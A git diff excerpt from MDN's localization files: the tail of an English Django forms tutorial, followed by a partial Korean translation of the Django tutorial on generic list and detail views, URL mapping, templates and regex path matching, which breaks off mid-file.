+<p>Create some forms to create, edit and delete <code>Book</code> records. You can use exactly the same structure as for <code>Authors</code>. If your <strong>book_form.html</strong> template is just a copy-renamed version of the <strong>author_form.html</strong> template, then the new "create book" page will look like the screenshot below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14225/forms_example_create_book.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 595px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Creating and handling forms can be a complicated process! Django makes it much easier by providing programmatic mechanisms to declare, render and validate forms. Furthermore, Django provides generic form editing views that can do <em>almost all</em> the work to define pages that can create, edit, and delete records associated with a single model instance.</p>
+
+<p>There is a lot more that can be done with forms (check out our See also list below), but you should now understand how to add basic forms and form-handling code to your own websites.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/forms/">Working with forms</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial04/#write-a-simple-form">Writing your first Django app, part 4 &gt; Writing a simple form</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/api/">The Forms API</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/">Form fields</a> (Django docs) </li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/validation/">Form and field validation</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-editing/">Form handling with class-based views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/forms/modelforms/">Creating forms from models</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/class-based-views/generic-editing/">Generic editing views</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/django/generic_views/index.html b/files/ko/learn/server-side/django/generic_views/index.html
new file mode 100644
index 0000000000..f3f496f97c
--- /dev/null
+++ b/files/ko/learn/server-side/django/generic_views/index.html
@@ -0,0 +1,623 @@
+---
+title: 'Django Tutorial Part 6: Generic list and detail views'
+slug: Learn/Server-side/Django/Generic_views
+translation_of: Learn/Server-side/Django/Generic_views
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">이 튜토리얼은 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website에 책과 저자의 목록과 세부 페이지를 추가 하여 확장할 것입니다. 이 글에서 우리는 제네릭 클래스-기반 뷰(generic class-based views)에 대해 배울 것이며, 그것이 일반적인 사용 사례를 위해 작성해야 하는 코드들을 줄이는 방법을 보여줄 것입니다. 우리는 또한 URL 처리에 대해 더 세부적으로 알아볼 것이며, 기본 패턴 매칭(basic pattern matching)을 수행하는 방법을 보여줄 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 준비:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a>를 포함한 모든 이전 튜토리얼을 완료하세요.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>제네릭 클래스-기반 뷰를 어디 그리고 어떻게 사용하는지, 그리고 어떻게 URL들로부터 패턴들을 추출하여 정보를 view들에게 전달하는지에 대해 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>이 튜토리얼에서 우리는 책과 저자에 대한 목록과 세부 페이지(detail page)를 추가하여 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 웹사이트의 첫 번째 버전을 완성할 것입니다(더 정확하게는, 우리는 책 페이지들을 구현하는 방법을 보여주고, 저자 페이지는 스스로 완성하도록 할 것입니다!)</p>
+
+<p>이 과정은 이전 튜토리얼에서 보여준, 색인 페이지(index page)를 만드는 과정과 비슷합니다. 우리는 여전히 URL 맵들, view들, 그리고 탬플릿들을 만들어야 합니다. 주요한 차이점은 세부 페이지(detail pages)에서, 우리는 URL 안의 패턴에서 정보를 추출해서 view로 전달하는 추가적인 도전을 가진다는 점입니다. </p>
+
+<p>이 튜토리얼의 마지막에서는 제네릭 클래스-기반 뷰를 사용할 때 데이터의 페이지를 매기는 방법을 보여드리겠습니다.</p>
+
+<h2 id="책_목록_페이지">책 목록 페이지</h2>
+
+<p>책 목록 페이지는 모든 사용 가능한 책 레코드들의 목록을 페이지 안에 나타낼 것이며, 다음 URL을 사용하여 접근합니다: <code>catalog/books</code>/. 이 페이지는 각 레코드마다 제목과 저자를 나타낼 것이며, 제목은 관련된 책 페이지로 이동하는 하이퍼링크 처리됩니다. 이 페이지는 사이트의 다른 페이지들과 같은 구조와 내비게이션을 가지고 있어서, 우리는 이전 튜토리얼에서 만들었던 템플릿(<strong>base_generic.html</strong>)을 확장해서 사용하면 됩니다.</p>
+
+<h3 id="URL_mapping">URL mapping</h3>
+
+<p><strong>/catalog/urls.py </strong>파일을 열고 아래 코드박스의 굵은 글씨를 복사해 붙여넣으세요. 인덱스 페이지처럼 <code>path()</code> 함수는 URL('<strong>books/'</strong>)과 매치되는 패턴, URL이 매치될 때 호출되는 view 함수<code>(views.BookListView.as_view())</code>, 그리고 이 특정 매핑에 대한 이름을 정의합니다.</p>
+
+<pre class="brush: python">urlpatterns = [
+    path('', views.index, name='index'),
+<strong>    </strong>path<strong>('books/', views.BookListView.as_view(), name='books'),</strong>
+]</pre>
+
+<p>이전 튜토리얼에서 URL은 이미 <code>/catalog</code> 와 매치되었을 것입니다. 그래서 사실상 view는 <code>/catalog/books/</code> URL에 접속하면 호출됩니다.</p>
+
+<p>View함수는 이전과 다른 형태를 가집니다. 왜냐면 이 view는 사실 클래스로 구현이 되기 때문입니다. 우리는 이 view를 직접 구현하지 않고, 이미 존재하는 generic view 함수를 상속받아 view 함수를 구현할 것입니다. 이 generic view 함수는 우리가 구현하고 싶은 기능들을 거의 다 가지고 있습니다.</p>
+
+<p>Django의 클래스 기반 view에서는, <code>as_view()</code>클래스 메소드를 호출해 적절한 view 함수에 접근할 수 있습니다. 이건 클래스의 인스턴스를 생성하는 작업과 모든 HTTP 요청을 처리하는 핸들러 메소드가 제대로 동작하는지를 처리합니다.</p>
+
+<h3 id="뷰(클래스_기반)">뷰(클래스 기반)</h3>
+
+<p>표준 function으로 우리는 꽤나 쉽게 book list view를 만들 수 있는데 (마치 이전 우리의 index view같이), 모든 책에 대한 데이터 베이스 쿼리를 만들어서 <code>render()</code> 함수를 불러 특정 템플릿에 리스트를 보냅니다. 대신 우리는 class-based generic list view (<code>ListView</code>) 를 사용하는데— 존재하는 뷰로부터 상속받아온 클래스입니다. generic view가 이미 우리가 필요한 대부분의 기능성을 실행하면서 동시에 Django best-practice이기 때문에, 우리는 코드의 양과 반복을 줄이고 궁극적으로 유지보수에 수고가 덜 드는 견고한 리스트 뷰를 만들 수 있습니다.</p>
+
+<p><strong>catalog/views.py </strong>파일을 열고, 아래의 코드를 views.py 파일 가장 아래에 붙여넣기하세요.</p>
+
+<pre class="brush: python">from django.views import generic
+
+class BookListView(generic.ListView):
+    model = Book</pre>
+
+<p>이게 전부입니다! Generic view는 명시된 모델(Book)의 모든 레코드를 가져오기 위해 데이터베이스를 쿼리할 것이고, <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong>(아래에서 만들 예정)경로에 있는 템플릿을 렌더링합니다. 템플릿 안에서 우리는 <code>object_list</code>나 <code>book_list</code>라는 템플릿 변수를 사용해 도서 목록에 접근할 수 있습니다. (일반적으로 "<code><em>the_model_name</em>_list</code>").</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 어색한 템플릿 경로는 오타가 아닙니다. Generic views는 <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code>(지금 상황에서는 <code>catalog/book_list.html</code>)에서 템플릿을 찾습니다. 이 경로는 애플리캐이션의 <code>/<em>application_name</em>/templates/</code> 디렉토리 안에 있습니다(<code>/catalog/templates/)</code>.</p>
+</div>
+
+<p>속성이나 디폴트 동작을 추가할 수도 있습니다. 예를 들어, 같은 모델을 사용하지만 여러 개의 뷰를 사용해야 되는 경우 다른 템플릿 파일을 명시할 수 있습니다. 혹은 <code>book_list</code> 템플릿 변수명이 직관적이지 않다고 생각해 다른 템플릿 변수명을 사용하고 싶을지도 모릅니다. 아마 가장 유용한 바리에이션은 리턴 값의 결과를 바꾸거나 필터링하는 것입니다. 따라서 모든 책을 나열하는 대신, 유저가 읽은 순으로 5개의 책을 나열할 수도 있습니다.</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+    context_object_name = 'my_book_list'   # your own name for the list as a template variable
+    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+    template_name = 'books/my_arbitrary_template_name_list.html'  # Specify your own template name/location</pre>
+
+<h4 id="클래스_기반_뷰의_메소드_오버라이딩">클래스 기반 뷰의 메소드 오버라이딩</h4>
+
+<p>굳이 여기서 할 필요는 없지만, 클래스 메소드 오버라이딩을 할 수도 있습니다.</p>
+
+<p>예를 들어, 우리는  <code>get_queryset()</code>메소드를 오버라이딩해 반환되는 레코드의 리스트들을 바꿀 수 있습니다. 이건 우리가 이전에 했던 <code>queryset</code> 속성을 지정하는 방법보다 더 유연한 방법입니다. (비록 지금 상황에서 별 이득이 되지는 않지만요.)</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+
+    def get_queryset(self):
+        return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+</pre>
+
+<p>우리는 템플릿에 추가적인 컨텍스트 변수들을 전달하기 위해 <code>get_context_data()</code>를 오버라이딩할 수도 있습니다. (도서 목록이 디폴트로 전달됩니다.) 아래의 코드는 <code>some_data</code> 라는 이름의 변수를 어떻게 컨텍스트에 추가하는지를 보여줍니다. (이렇게 하면 템플릿 변수로 사용할 수 있습니다.)</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+
+    def get_context_data(self, **kwargs):
+        # Call the base implementation first to get the context
+        context = super(BookListView, self).get_context_data(**kwargs)
+        # Create any data and add it to the context
+        context['some_data'] = 'This is just some data'
+        return context</pre>
+
+<p>이렇게 할 때에는, 아래의 패턴을 따르는 것이 중요합니다:</p>
+
+<ul>
+ <li>첫째로, 슈퍼클래스에서 기존 컨텍스트를 가져옵니다.</li>
+ <li>그리고 새로운 컨텍스트 정보를 추가합니다. </li>
+ <li>마지막으로 새롭게 업데이트된 컨텍스트를 리턴합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs)를 방문해 다양한 예제를 살펴볼 수 있습니다.</p>
+</div>
+
+<h3 id="리스트_뷰_템플릿_생성하기">리스트 뷰 템플릿 생성하기</h3>
+
+<p><strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> 경로에 HTML 파일을 만든 다음, 아래의 코드를 복사, 붙여넣기 하세요. 이전에 설명한 것처럼, 이건 제네릭 클래스 기반 리스트 뷰에서 예상되는 기본 템플릿 파일입니다. (<code>catalog</code> 애플리케이션 내의 <code>Book</code> 모델)</p>
+
+<p>제네릭 뷰의 템플릿은 다른 템플릿과 비슷합니다 (물론 템플릿에 전달되는 컨텍스트나 정보는 다를지도 모르지만요). 다른 index 템플릿처럼, 우리는 첫번째 줄에 base 템플릿을 넣어 확장한 다음, <code>content</code>라는 이름의 블록으로 교체합니다.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Book List&lt;/h1&gt;
+  <strong>{% if book_list %}</strong>
+  &lt;ul&gt;
+    {% for book in book_list %}
+      &lt;li&gt;
+        &lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
+      &lt;/li&gt;
+    {% endfor %}
+  &lt;/ul&gt;
+  <strong>{% else %}</strong>
+    &lt;p&gt;There are no books in the library.&lt;/p&gt;
+  <strong>{% endif %} </strong>
+{% endblock %}</pre>
+
+<p>뷰는 <code>object_list</code>나 <code>book_list</code>라는 디폴트 aliases로 컨텍스트(도서 목록)를 전달합니다. <code>object_list</code>나 <code>book_list</code> 둘 중 어느 것을 적어도 상관이 없습니다.</p>
+
+<h4 id="조건부_실행">조건부 실행</h4>
+
+<p><code><a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#if">if</a></code>, <code>else</code> 그리고 <code>endif</code> 라는 템플릿 태그들은 <code>book_list</code> 이 정의되었는지, 그리고 존재하는지 체크합니다. 만약 <code>book_list</code>가 없다면, 책이 존재하지 않는다는 <code>else</code> 절의 텍스트 문구가 표시될 것입니다. 만약 <code>book_list</code>가 존재한다면, 도서 목록의 갯수만큼 반복만큼 반복해서 실행합니다.</p>
+
+<pre class="brush: html"><strong>{% if book_list %}</strong>
+  &lt;!-- code here to list the books --&gt;
+<strong>{% else %}</strong>
+  &lt;p&gt;There are no books in the library.&lt;/p&gt;
+<strong>{% endif %}</strong>
+</pre>
+
+<p>위의 조건문은 단 하나의 상황만 체크합니다. 하지만 <code>elif</code>라는 템플릿 태그를 사용해 추가적인 조건을 걸어 테스트할 수 있습니다. (예를 들면 <code>{% elif var2 %}</code>) 조건부 연산자에 대한 자세한 내용은 다음 링크에서 확인할 수 있습니다: <a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a>, and <a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#ifchanged">ifchanged</a> in <a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins">Built-in template tags and filters</a> (Django Docs).</p>
+
+<h4 id="반복_구문">반복 구문</h4>
+
+<p><a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins/#for">for</a> 와 <code>endfor</code> 라는 템플릿 태그들은 아래와 같이 도서 목록을 살펴보는 루프를 위해 사용합니다. 각각의 반복은 <code>book</code> 템플릿 변수에 현재 리스트 아이템에 대한 정보를 채웁니다.</p>
+
+<pre class="brush: html">{% for <strong>book</strong> in book_list %}
+  &lt;li&gt; &lt;!-- code here get information from each <strong>book</strong> item --&gt; &lt;/li&gt;
+{% endfor %}
+</pre>
+
+<p>여기에서는 사용되지 않지만, 반복 구문 내에서 Django는 반복을 추적할 수 있는 다른 변수들을 만들 수 있습니다. 예를 들어, <code>forloop.last</code>라는 변수로 루프의 마지막 실행에 대한 조건부 처리을 할 수 있습니다.</p>
+
+<h4 id="변수_접근하기">변수 접근하기</h4>
+
+<p>반복 구문 내에서의 코드는 각각의 책에 대한 리스트 아이템을 생성합니다. 이 리스트 아이템은 타이틀(아직 작성되지 않은 상세 뷰의 링크)과 작가의 이름을 나타냅니다.</p>
+
+<pre class="brush: html">&lt;a href="\{{ book.get_absolute_url }}"&gt;\{{ book.title }}&lt;/a&gt; (\{{book.author}})
+</pre>
+
+<p>우리는 점 표기법(dot notation)을 사용해서 연관된 책의 레코드(예를 들어 <code>book.title</code> 과 <code>book.author</code>)에 대한 필드에 접근이 가능합니다. <code>book</code> 다음의 텍스트는 모델에 정의되어있는 필드의 이름입니다.</p>
+
+<p>우리는 템플릿 안에 모델에서 정의한 함수를 불러올 수도 있습니다. 이 경우, 우리는 <code>Book.get_absolute_url()</code> 함수를 호출해 연관된 세부 레코드를 표시하는 URL을 가져옵니다. 이 작업은 함수가 아무 인자를 가지지 않을 때 제공됩니다 (여기에는 인자를 넘길 방법이 없습니다!).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 우리는 템플릿 내에서 함수를 호출할 때 발생하는 부작용을 조금 조심해야 합니다. 여기서 우리는 그저 표시하기 위해  URL을 얻었지만, 함수는 그보다 더한 작업도 할 수 있습니다 — (예를 들면) 우리는 그냥 템플릿을 렌더링한다고 해서 우리의 데이터베이스를 삭제하고 싶지 않을 것입니다.</p>
+</div>
+
+<h4 id="베이스_템플릿_업데이트">베이스 템플릿 업데이트</h4>
+
+<p>베이스 템플릿(<strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>)을 열고 <strong>All books</strong>의 URL 링크 부분에 <strong>{% url 'books' %}</strong> 코드를 삽입하세요. 이건 모든 페이지 링크에 적용될 것입니다 (우리는 "books" url mapper를 만들었으니 이렇게 넣을 수 있습니다.)</p>
+
+<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+<strong>&lt;li&gt;&lt;a href="{% url 'books' %}"&gt;All books&lt;/a&gt;&lt;/li&gt;</strong>
+&lt;li&gt;&lt;a href=""&gt;All authors&lt;/a&gt;&lt;/li&gt;</pre>
+
+<h3 id="어떻게_보일까요">어떻게 보일까요?</h3>
+
+<p>우리는 아직 도서 목록을 표시할 수 없습니다. 왜냐면 디펜던시(dependency)가 없기 떄문이죠. 책의 상세 페이지에 대한 URL이 필요한데, 이 URL은 각 도서에 대한 하이퍼 링크입니다. 다음 섹션 이후에는 목록보기와 상세보기가 모두 표시될 것입니다.</p>
+
+<h2 id="Book_상세_페이지">Book 상세 페이지</h2>
+
+<p>URL <code>catalog/book/<em>&lt;id&gt;</em></code> ( <code><em>&lt;id&gt;</em></code> 는 book의 primary key입니다)에 접근해서, Book의 상세 페이지는 특정 책의 정보를 보여줄 것입니다. <code>Book</code> 모델 (author, summary, ISBN, language, 그리고 genre) 같은 필드에 추가로, 우리는 가능한 복사본(<code>BookInstances</code>) 의 상세부분, 즉 상태와 기대하는 반납일, 기록 그리고 아이디 등을 리스트화 할 것입니다. 이렇게 하면 독자들이 책의 리스트를 확인할 뿐만 아니라, 언제 책을 대여할 수 있는지에 대한 여부를 확인할 수 있게 해줍니다.</p>
+
+<h3 id="URL_매핑">URL 매핑</h3>
+
+<p><strong>/catalog/urls.py</strong> 파일을 열고 아래 두꺼운 글씨로 된 <strong>book-detail </strong>URL mapper를 추가하세요. <code>path()</code> 함수는 연관된 제네릭 클래스 기반의 상세 뷰와 이름에 대한 패턴을 정의합니다.</p>
+
+<pre class="brush: python">urlpatterns = [
+    path('', views.index, name='index'),
+    path('books/', views.BookListView.as_view(), name='books'),
+<strong>    path('book/&lt;uuid:pk&gt;', views.BookDetailView.as_view(), name='book-detail'),</strong>
+]</pre>
+
+<p><em>book-detail URL 패턴은 우리가 원하는 책의 id를 캡처하기 위해 특별한 구문을 사용합니다. 구문은 간단합니다: 꺾쇠 괄호는 </em>캡처하는 URL의 일부를 정의하고 뷰가 캡처 된 데이터에 액세스하는 데 사용할 수있는 변수의 이름을 지정합니다. <em>예를 들어, </em><strong style="font-size: 1rem; letter-spacing: -0.00278rem;">&lt;something&gt;</strong><span style="font-size: 1rem; letter-spacing: -0.00278rem;">은 패턴을 캡처해서 "something"이라는 변수에 데이터를 담아 전달합니다. 우리는 선택적으로 변수 이름 앞에 데이터 형식 (int, str, slug, uuid, path)을 정의하는 </span><a href="https://docs.djangoproject.com/en/2.0/topics/http/urls/#path-converters" style="font-size: 1rem; letter-spacing: -0.00278rem;">converter specification</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">을 사용할 수 있습니다.</span></p>
+
+<p>여기에서 우리는 book id을 캡쳐하기 위해 <code>'&lt;uuid:pk&gt;'</code><strong> </strong> 라는 특별히 포맷화된 문자열을 활용할 것입니다. 그리고 <code>pk</code> (primary key의 단축어)라는 이름의 파라미터로서 뷰로 넘겨줄 것입니다. This is the id that is being used to store the book uniquely in the database, as defined in the Book Model.</p>
+
+<p>(번역 봉사자 주: uuid를 읽지 못한다면[NoReverseMatch] &lt;int:pk&gt;로 해보십시오.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: 앞에서 언급했듯이,  관련된 URL 은 실제로는 <code>catalog/book/&lt;digits&gt;</code> 입니다.(우리가 <strong>catalog</strong> application 에 있기때문에, <code>/catalog/</code> 를 가정합니다).</p>
+</div>
+
+<div class="warning">
+<p><strong>명심</strong>: 통상 class-based detail view 는 <strong>pk </strong>라는 이름을 가진 파라미터로 전달됩니다. 만일 자체적으로 function view 를 만든다면 어떤 이름이라도 사용 가능합니다. 혹은 이름이 없는 argument 에 정보를 넣어 전달 할 수도 있습니다.</p>
+</div>
+
+<h4 id="Regular_expression_을_이용한_고급_path_matching">Regular expression 을 이용한 고급 path matching</h4>
+
+<div class="note">
+<p><strong>Note</strong>: 튜터리얼과는 관련 없습니다. 하지만 향후 Django 스타일로 개발하기 위해선 매우 유용한 팁입니다.</p>
+</div>
+
+<p><code>path()</code> 를 이용한 패턴 검색은 간단하고 일반적인 경우 - 예를 들어 단지 특정 문자열이나 숫자가 있는지 - 매우 유용합니다. 만일 좀더 세밀한 조건 - 예를 들어 특정 문자열 길이를 갖는 문자열 검색 - 으로 검색 하고자 한다면 . <a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.re_path">re_path()</a> 를 사용하길 권고 드립니다.</p>
+
+<p>re_path() 는 <a href="https://docs.python.org/3/library/re.html">Regular expression</a> 을 사용한다는 점만 빼고 path() 와 똑 같습니다. 예를 들어 앞서 서술한 path 는 다음과 같이 re_path 로 대체 사용 가능합니다.</p>
+
+<pre class="brush: python"><strong>re_path(r'^book/(?P&lt;pk&gt;\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong>
+</pre>
+
+<p><em>Regular expressions</em> 은 정말로 파워풀한 매핑 툴 입니다. 하지만 솔직히 직관적이지 못하고 초보자에게는 두려운 존재입니다. 아래는 간단한 지침서 입니다!</p>
+
+<p>첫번째로 regular expressions 은 the raw string literal syntax 로 선언되어야 합니다 (즉, 다음처럼 '&lt; &gt;' 로 닫혀 있어야 한다는 겁니다: <strong>r'&lt;your regular expression text goes here&gt;'</strong>).</p>
+
+<p>패턴 매칭을 정의하기 위해 알아야 될 문법의 핵심적인 부분들입니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Symbol</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>^</td>
+   <td>기술된 text 로 그 문자열이 시작되는지</td>
+  </tr>
+  <tr>
+   <td>$</td>
+   <td>기술된 text 로 그 문자열이 끝나는지</td>
+  </tr>
+  <tr>
+   <td>\d</td>
+   <td>숫자(0, 1, 2, ... 9) 인지</td>
+  </tr>
+  <tr>
+   <td>\w</td>
+   <td>word character 인지. 즉, 대소문자, 숫자, underscore character (_) 로만 구성된 단어인지.</td>
+  </tr>
+  <tr>
+   <td>+</td>
+   <td>하나 이상의 선행 문자가 있는지. 예를 들어, 하나 이상의 숫자와 매치한다면 <code>\d+</code>.를 하나 이상의 'a' 문자와 매치 한다면  <code>a+</code></td>
+  </tr>
+  <tr>
+   <td>*</td>
+   <td>매치되는 문자열이 없거나 많은 경우, 예를 들어 매칭이 안되거나 한 단어를 찾고자 할 경우  <code>\w*</code></td>
+  </tr>
+  <tr>
+   <td>( )</td>
+   <td>괄호안에 있는 패턴의 일부를 선택할때. 선택된 값은 unnamed parameter 로 view 에게 전달된다. (만일 여러 패턴들이 선택 되었다면 선택된 순서대로 연관된 파라미터로써 전달 될것입니다.</td>
+  </tr>
+  <tr>
+   <td>(?P&lt;<em>name</em>&gt;...)</td>
+   <td>(...에 표기된) 패턴을 명명한 variable로 변환합니다(이 경우에는 "name" 입니다). 변환한 이름을 view 에 지정한 이름으로 넘깁니다. 그러므로 당신의 view 에서는 반드시 argument명을 동일하게 해주어야 합니다!</td>
+  </tr>
+  <tr>
+   <td>[  ]</td>
+   <td>집합 set 안에 있는 글자중 한개와 매치 될때. 예를 들어 [abc] 는 'a',혹은 'b' 혹은 'c' 와 매치되는지.  [-\w] 는 '-' 한 글자 인지 혹은 '-'를 포함한 단어와 매치 하는지를 나타냅니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>대부분의 다른 글자들은 문자 그대로 받아 들여 집니다!</p>
+
+<p>몇 가지 실제 패턴 예제를 보도록 합시다: </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Pattern</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>r'^book/(?P&lt;pk&gt;\d+)$'</strong></td>
+   <td>
+    <p>이것은 우리가 URL mapper에서 사용한 Regular Expression입니다. 이 표현식은 먼저 문자열이 <code>book/</code> 으로 시작하는지 검사하고 (<strong>^book/</strong>), 그 다음에 한 개이상의 숫자가 오는지 (<code>\d+</code>), 그리고 문자열이 끝나기 전에 숫자가 아닌 문자가 들어 있지는 않는 지 검사합니다.</p>
+
+    <p>또한 이 표현식은 모든 숫자들을 변환하고 <strong>(?P&lt;pk&gt;\d+)</strong> 변환된 값을 view 에 'pk'라는 이름의 parameter로 넘깁니다.<strong> 변환된 값은 항상 String type으로 넘어갑니다</strong><strong>!</strong></p>
+
+    <p>예를 들어, 이 표현식은 <code>book/1234</code> 을 매칭합니다. 그리고 변수 <code>pk='1234'</code>  를 view에 넘깁니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>r'^book/(\d+)$'</strong></td>
+   <td>이 표현식은 위의 표현식과 동일한 URL들을 매칭합니다. 변환된 정보는 명명되지 않은 argument로 view에 전달됩니다.</td>
+  </tr>
+  <tr>
+   <td><strong>r'^book/(?P&lt;stub&gt;[-\w]+)$'</strong></td>
+   <td>
+    <p>이 표현식은 문자열 처음 부분에 <code>book/</code> 으로 시작하는지 검사하고 (<strong>^book/</strong>), 그리고 한 개 또는 그 이상의 '-' 나 word character가 오고 (<strong>[-\w]+</strong>), 그렇게 끝내는지를 매칭합니다. 이 표현식 또한 매칭된 부분을 변환하고 view 에 'stub' 라는 이름의 parameter로 전달합니다.</p>
+
+    <p>This is a fairly typical pattern for a "stub". Stubs are URL-friendly word-based primary keys for data. You might use a stub if you wanted your book URL to be more informative. For example <code>/catalog/book/the-secret-garden</code> rather than <code>/catalog/book/33</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>당신은 다양한 패턴들을 한번의 매칭을 통해 변환시킬 수 있습니다. 그러므로 다양한 정보들을 URL안에 인코딩할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 추가적으로, 특정 날짜에 출간된 책 목록을 URL에 인코딩할 수 있을지 생각해보세요. 그리고 어떤 Regular Expression이 해당 URL을 매칭할 수 있을까요?</p>
+</div>
+
+<h4 id="Passing_additional_options_in_your_URL_maps">Passing additional options in your URL maps</h4>
+
+<p>우리가 여태까지 사용하지는 않았지만, 쓸모있을만한 한 기능은 당신이 <a href="https://docs.djangoproject.com/en/2.0/topics/http/urls/#views-extra-options">additional options</a> 을 정의내리고 view에 전달할 수 있다는 것입니다. 이 option들은 dictionary 형태로 정의하고 <code>path()</code> 함수의 3번째 명명되지 않은 argument로 전달됩니다. 이 방식은 만약, 당신이 동일한 view 를 다른 곳에서 재활용하려고 하거나, 각 상황에 맞게 조절하려고 할 때 유용합니다. (이 경우, 우리는 각 경우에 따라 다른 template 을 제공합니다).</p>
+
+<pre class="brush: python">path('url/', views.my_reused_view, <strong>{'my_template_name': 'some_path'}</strong>, name='aurl'),
+path('anotherurl/', views.my_reused_view, <strong>{'my_template_name': 'another_path'}</strong>, name='anotherurl'),
+</pre>
+
+<div class="note">
